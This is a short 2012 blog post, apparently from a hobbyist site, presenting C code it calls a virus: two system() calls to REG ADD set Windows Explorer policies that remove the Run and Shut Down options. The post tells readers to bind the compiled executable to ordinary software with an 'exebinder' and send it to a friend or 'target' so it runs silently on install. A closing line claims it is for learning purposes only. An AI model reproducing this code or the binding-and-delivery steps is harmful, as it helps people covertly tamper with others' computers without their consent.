Showing posts with label Virus. Show all posts
Showing posts with label Virus. Show all posts
on Wednesday 2 May 2012
Ok , Friends

Today's interesting topic is how to make simple virus using c language.

I will teach you hoe to edit registry using C . And make virus which is editing target's registry.This virus disable RUN option from entire OS(Operating System) and also disable shut down option .

Just copy/paste below C code.


#include<stdio.h>
#include<conio.h>
void main()
{
   system("REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoRun /t REG_DWORD /d 1");
   system("REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoClose /t REG_DWORD /d 1");
}


Now save this file as .c extension and compile and run it using compiler like Turbo c or Code Block etc.

Compiler make .exe file.Now using one of the exebinder software bind this exe file with you software and send it to your friend or target's pc.

When target install that software , upward exe file of virus silently run and when target restart or log off computer virus will do it's work..And there is no shutdown and run option in Target's computer.

Note:This is just for learning purpose.

If you enjoyed it then plz comment or share this post..................